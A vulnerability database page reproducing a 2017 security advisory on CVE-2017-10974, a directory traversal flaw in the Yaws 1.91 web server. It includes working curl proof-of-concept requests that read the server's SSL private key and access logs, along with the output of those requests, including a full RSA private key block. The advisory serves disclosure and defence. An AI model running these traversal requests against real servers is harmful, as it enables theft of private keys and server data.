Yaws 1.91 - Remote File Disclosure

🗓️ 07 Jul 2017 00:00:00Reported by hyp3rlinxType

Yaws v1.91 Remote File Disclosure via Unauthenticated Acces

Reporter	Title	Published	Views	Family All 15
0day.today	Yaws 1.91 - Remote File Disclosure Vulnerability	7 Jul 201700:00	–	zdt
Circl	CVE-2017-10974	10 Nov 202400:00	–	circl
CNVD	Yaws Directory Traversal Vulnerability	13 Jul 201700:00	–	cnvd
CVE	CVE-2017-10974	7 Jul 201711:00	–	cve
Cvelist	CVE-2017-10974	7 Jul 201711:00	–	cvelist
Debian CVE	CVE-2017-10974	7 Jul 201711:00	–	debiancve
exploitpack	Yaws 1.91 - Remote File Disclosure	7 Jul 201700:00	–	exploitpack
Nuclei	Yaws 1.91 - Local File Inclusion	1 Jun 202605:38	–	nuclei
NVD	CVE-2017-10974	7 Jul 201711:29	–	nvd
OSV	DEBIAN-CVE-2017-10974	7 Jul 201711:29	–	osv

[+] Credits: John Page aka hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/YAWS-WEB-SERVER-v1.91-UNAUTHENTICATED-REMOTE-FILE-DISCLOSURE.txt
[+] ISR: ApparitionSec            
 


Vendor:
==========
yaws.hyber.org



Product:
===========
Yaws v1.91 (Yet Another Web Server)

Yaws is a HTTP high perfomance 1.1 webserver particularly well suited for dynamic-content web applications.
Two separate modes of operations are supported:

Standalone mode where Yaws runs as a regular webserver daemon. This is the default mode.
Embedded mode where Yaws runs as an embedded webserver in another Erlang application.



Vulnerability Type:
===================
Unauthenticated Remote File Disclosure



CVE Reference:
==============
CVE-2017-10974



Security Issue:
================
Remote attackers who can reach Yaws web server can read the server SSL private key file using directory
traversal attacks, access logs are also disclosed etc... this version is somewhat old, however, still avail for download
as of the time of this writing. http://yaws.hyber.org/download/



Exploit/POC:
=============
Steal Yaws Server SSL private key ".pem" file.

curl http://REMOTE-VICTIM-IP:8080/%5C../ssl/yaws-key.pem


-----BEGIN RSA PRIVATE KEY-----
MIICWwIAAAKBgQDMJHAcJXB9TzkYg/ghXNjOAp3zcgKC4XZo4991SPGYukKVU1Fv
RX0YgPx3wz8Ae7ykPg0KW7O3D9Pn8liazTYEaXskNKAzOFr1gtBd7p937PKNQk++
3/As5EfJjz+lBrwUGbSicJgldJk3Cj89htMUqGwL2Bl/yOQIsZtyLlrP1wIDAQAB
AoGAYgEwTWLwAUjSaWGs8zJm52g8Ok7Gw+CfNzYG5oCxdBgftR693sSmjOgHzNtQ
WMQOyW7eDBYATmdr3VPsk8znHBSfQ19gAJjR89lJ6lt5qDMNtXMUWILn91g+RbkO
gmTkhD8uc0e/3FJBwPxFJWQzFEcAR4jNFJwhNzg6CO8CK/ECQQD7sNzvMRnUi1RQ
tiKgRxdjdEwNh52OUPwuJWhKdBLIpHBAJxCBHJB+1N0ufpqaEgUfJ5+gEYrBRMJh
aTCIJul5AkEAz6MsmkMz6Iej5zlKrlDL5q6GU+wElXK/F1H8tN/JchoSXN8BRCJZ
DLpK0mcMN4yukHKDCo0LD9NBlRQFDll/zwJASb2CrW2kVLpRhKgoMu9BMflDwv8G
IcqmZ9q72HxzeGd9H76SPlGhIBe7icC8CQHYkE0qnlolXgSIMsP/3RQReQJAYHnt
+INvNAUKSB6br6EFDNtcuNO6UYJufbRvmc89d5HbpGFN4k2fWMWajGarC4iHd8Bt
WNKuKB09pLoXm1JEiwJAfRtIXE6sr4MQOL6aWwGElw+Yb4B1WBhBiPRRwGTX0nzN
HXF3851+kgZBZjjzA3Ib2nr5PeXkZBBLE/4jJvRPRA==
-----END RSA PRIVATE KEY-----



--- OR Read the access logs. ---


curl http://REMOTE-VICTIM-IP:8080/%5C../logs/localhost.8080.access  

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY>
<H1>Not Found</H1>The requested URL /../logs/localhost.8080.access was not found on this server.<P><HR>
<address> Yaws 1.91 Server at localhost:8080 </address>  </BODY></HTML>[root@localhost ~]# 

Then,


curl http://REMOTE-VICTIM-IP:8080/%5C../logs/localhost.8080.access

127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET / HTTP/1.1" 200 74419 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET /stil.css HTTP/1.1" 200 1677 "http://127.0.0.1:8080/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET /icons/yaws_head.gif HTTP/1.1" 200 2308 "http://127.0.0.1:8080/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET /icons/yaws_pb.gif HTTP/1.1" 200 1444 "http://127.0.0.1:8080/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET /icons/yaws_y.gif HTTP/1.1" 200 4831 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
127.0.0.1 - - [26/Jun/2017:09:52:33 -0400] "GET /bindings.yaws HTTP/1.1" 200 5502 "http://127.0.0.1:8080/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
127.0.0.1 - - [26/Jun/2017:09:52:42 -0400] "GET /configuration.yaws HTTP/1.1" 200 8634 "http://127.0.0.1:8080/bindings.yaws" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"

etc...



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=================================
Vendor Notification: June 26, 2017
No replies
July 7, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

07 Jul 2017 00:00Current

7.6High risk

Vulners AI Score7.6

CVSS 25

CVSS 37.5

EPSS0.91277